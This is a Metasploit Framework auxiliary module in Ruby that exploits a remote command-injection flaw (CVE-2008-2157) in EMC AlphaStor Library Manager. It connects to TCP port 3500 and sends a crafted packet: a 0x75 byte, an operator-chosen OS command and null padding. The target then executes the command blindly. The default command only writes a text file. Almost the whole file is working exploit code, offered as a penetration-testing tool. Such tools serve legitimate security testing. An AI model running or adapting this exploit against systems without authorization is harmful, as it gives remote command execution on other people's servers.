##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC AlphaStor Library Manager Arbitrary Command Execution',
			'Description'    => %q{
					EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability
					because the application fails to properly sanitize user-supplied input.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
					[ 'CVE', 'CVE-2008-2157' ],
					[ 'BID', '29398' ],
				],
			'DisclosureDate' => 'May 27 2008'))

			register_options( 
				[
					Opt::RPORT(3500),
					OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),
				], self.class)
	end

	def run
		connect

		data = "\x75" + datastore['CMD']
		pad  = "\x00" * 512
		
		pkt = data + pad		
	
		# commands are executed blindly.
		print_status("Sending command: #{datastore['CMD']}")	
		sock.put(pkt)

		sleep(1)
		
		sock.get_once
		
		print_status("Executed '#{datastore['CMD']}'...")

		disconnect
	end
end